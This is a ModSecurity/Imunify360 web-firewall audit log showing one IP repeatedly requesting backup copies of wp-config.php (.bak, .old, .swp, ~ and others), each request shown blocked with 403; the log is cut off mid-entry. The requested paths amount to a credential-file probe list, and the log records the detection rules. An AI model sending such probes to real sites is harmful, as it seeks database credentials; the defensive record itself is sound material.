Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqYgBCsVWymXUono-eRRCAAAABQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqYgBCsVWymXUono-eRRCAAAABQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789272068461261 60128 (- - -)
Stopwatch2: 1789272068461261 60128; combined=58553, p1=274, p2=57909, p3=0, p4=0, p5=369, sr=123, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dccd5a2b-Z--

--72c6534f-A--
[13/Sep/2026:07:01:08.988139 +0300] aqYgBGM7dE9KgIIOpQhgiwAAAMQ 169.40.142.172 48632 127.0.0.1 7081
--72c6534f-B--
GET /wp-config.php.save HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--72c6534f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--72c6534f-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqYgBGM7dE9KgIIOpQhgiwAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqYgBGM7dE9KgIIOpQhgiwAAAMQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789272068926086 62176 (- - -)
Stopwatch2: 1789272068926086 62176; combined=59947, p1=278, p2=58885, p3=0, p4=0, p5=784, sr=124, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--72c6534f-Z--

--b2d63136-A--
[13/Sep/2026:07:01:09.439023 +0300] aqYgBTTJ6xTvcJoem7f2LQAAAEw 169.40.142.172 48634 127.0.0.1 7081
--b2d63136-B--
GET /wp-config.php.old HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--b2d63136-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--b2d63136-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqYgBTTJ6xTvcJoem7f2LQAAAEw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqYgBTTJ6xTvcJoem7f2LQAAAEw"]
Action: Intercepted (phase 2)
Stopwatch: 1789272069378212 60858 (- - -)
Stopwatch2: 1789272069378212 60858; combined=59170, p1=264, p2=58615, p3=0, p4=0, p5=291, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b2d63136-Z--

--262fbe18-A--
[13/Sep/2026:07:01:09.882851 +0300] aqYgBWM7dE9KgIIOpQhgjAAAANc 169.40.142.172 48636 127.0.0.1 7081
--262fbe18-B--
GET /wp-config.php.orig HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--262fbe18-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--262fbe18-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.orig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.orig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.orig"] [unique_id "aqYgBWM7dE9KgIIOpQhgjAAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.orig"] [unique_id "aqYgBWM7dE9KgIIOpQhgjAAAANc"]
Action: Intercepted (phase 2)
Stopwatch: 1789272069826088 56804 (- - -)
Stopwatch2: 1789272069826088 56804; combined=55678, p1=252, p2=55123, p3=0, p4=0, p5=303, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--262fbe18-Z--

--a443dd34-A--
[13/Sep/2026:07:01:11.281204 +0300] aqYgB2M7dE9KgIIOpQhgjQAAAME 169.40.142.172 48648 127.0.0.1 7081
--a443dd34-B--
GET /wp-config.php.txt HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--a443dd34-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--a443dd34-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqYgB2M7dE9KgIIOpQhgjQAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqYgB2M7dE9KgIIOpQhgjQAAAME"]
Action: Intercepted (phase 2)
Stopwatch: 1789272071224234 57083 (- - -)
Stopwatch2: 1789272071224234 57083; combined=55575, p1=228, p2=54670, p3=0, p4=0, p5=677, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a443dd34-Z--

--ee6f574e-A--
[13/Sep/2026:07:01:11.710488 +0300] aqYgB0wu1RSkptiiNIXvEwAAAIw 169.40.142.172 48650 127.0.0.1 7081
--ee6f574e-B--
GET /wp-config.php.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--ee6f574e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--ee6f574e-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqYgB0wu1RSkptiiNIXvEwAAAIw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqYgB0wu1RSkptiiNIXvEwAAAIw"]
Action: Intercepted (phase 2)
Stopwatch: 1789272071606681 103857 (- - -)
Stopwatch2: 1789272071606681 103857; combined=102205, p1=308, p2=101542, p3=0, p4=0, p5=354, sr=121, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ee6f574e-Z--

--57e4b97c-A--
[13/Sep/2026:07:01:27.079603 +0300] aqYgF0wu1RSkptiiNIXvGwAAAIQ 169.40.142.172 54456 127.0.0.1 7081
--57e4b97c-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--57e4b97c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--57e4b97c-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqYgF0wu1RSkptiiNIXvGwAAAIQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqYgF0wu1RSkptiiNIXvGwAAAIQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789272087014368 65328 (- - -)
Stopwatch2: 1789272087014368 65328; combined=62767, p1=550, p2=61747, p3=0, p4=0, p5=470, sr=254, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--57e4b97c-Z--

--2ad8a114-A--
[13/Sep/2026:07:01:27.634669 +0300] aqYgF2M7dE9KgIIOpQhgjwAAAMs 169.40.142.172 54460 127.0.0.1 7081
--2ad8a114-B--
GET /wp-config.php~ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--2ad8a114-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--2ad8a114-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqYgF2M7dE9KgIIOpQhgjwAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqYgF2M7dE9KgIIOpQhgjwAAAMs"]
Action: Intercepted (phase 2)
Stopwatch: 1789272087576840 57869 (- - -)
Stopwatch2: 1789272087576840 57869; combined=56695, p1=223, p2=56174, p3=0, p4=0, p5=298, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2ad8a114-Z--

--f22c9835-A--
[13/Sep/2026:07:01:29.534010 +0300] aqYgGUwu1RSkptiiNIXvHAAAAJM 169.40.142.172 54474 127.0.0.1 7081
--f22c9835-B--
GET /wp-config.php.save HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--f22c9835-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f22c9835-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqYgGUwu1RSkptiiNIXvHAAAAJM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqYgGUwu1RSkptiiNIXvHAAAAJM"]
Action: Intercepted (phase 2)
Stopwatch: 1789272089477914 56136 (- - -)
Stopwatch2: 1789272089477914 56136; combined=54964, p1=224, p2=54472, p3=0, p4=0, p5=268, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f22c9835-Z--

--fe3d8169-A--
[13/Sep/2026:07:01:30.482242 +0300] aqYgGmM7dE9KgIIOpQhgkAAAANQ 169.40.142.172 54482 127.0.0.1 7081
--fe3d8169-B--
GET /wp-config.php.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--fe3d8169-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--fe3d8169-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqYgGmM7dE9KgIIOpQhgkAAAANQ"]
